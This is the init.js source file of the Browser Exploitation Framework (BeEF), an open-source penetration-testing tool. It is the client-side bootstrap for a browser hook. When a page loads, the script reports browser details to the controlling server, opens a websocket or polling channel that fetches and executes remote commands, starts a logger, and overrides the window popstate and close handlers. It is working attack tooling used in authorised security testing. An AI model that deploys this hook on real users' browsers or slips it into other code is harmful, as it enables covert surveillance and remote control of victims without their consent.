# Source: init.js

    //
    // Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
    // Browser Exploitation Framework (BeEF) - http://beefproject.com
    // See the file 'doc/COPYING' for copying permission
    //

    /**
     * Contains the beef_init() method which starts the BeEF client-side
     * logic. Also, it overrides the 'onpopstate' and 'onclose' events on the windows object.
     *
     * If beef.pageIsLoaded is true, then this JS has been loaded >1 times
     * and will have a new session id. The new session id will need to know
     * the brwoser details. So sendback the browser details again.
     *
     * @namespace beef.init
     */

    beef.session.get_hook_session_id();

    if (beef.pageIsLoaded) {
        beef.net.browser_details();
    }
    /**
     * @memberof beef.init
     */
    window.onload = function () {
        beef_init();
    };
    /**
     * @memberof beef.init
     */
    window.onpopstate = function (event) {
        if (beef.onpopstate.length > 0) {
            event.preventDefault;
            for (var i = 0; i < beef.onpopstate.length; i++) {
                var callback = beef.onpopstate[i];
                try {
                    callback(event);
                } catch (e) {
                    beef.debug("window.onpopstate - couldn't execute callback: " + e.message);
                }
                return false;
            }
        }
    };
    /**
     * @memberof beef.init
     */
    window.onclose = function (event) {
        if (beef.onclose.length > 0) {
            event.preventDefault;
            for (var i = 0; i < beef.onclose.length; i++) {
                var callback = beef.onclose[i];
                try {
                    callback(event);
                } catch (e) {
                    beef.debug("window.onclose - couldn't execute callback: " + e.message);
                }
                return false;
            }
        }
    };

    /**
     * Starts the polling mechanism, and initialize various components:
     *  - browser details (see browser.js) are sent back to the "/init" handler
     *  - the polling starts (checks for new commands, and execute them)
     *  - the logger component is initialized (see logger.js)
     *  - the Autorun Engine is initialized (see are.js)
     * @memberof beef.init
     */
    function beef_init() {
        if (!beef.pageIsLoaded) {
            beef.pageIsLoaded = true;
            beef.net.browser_details();

            if (beef.browser.hasWebSocket() && typeof beef.websocket != 'undefined') {
                setTimeout(function(){
                    beef.websocket.start();
                    beef.updater.execute_commands();
                    beef.logger.start();
                }, parseInt(beef.websocket.ws_connect_timeout));
            }else {
                beef.net.browser_details();
                beef.updater.execute_commands();
                beef.updater.check();
                beef.logger.start();
            }
        }
    }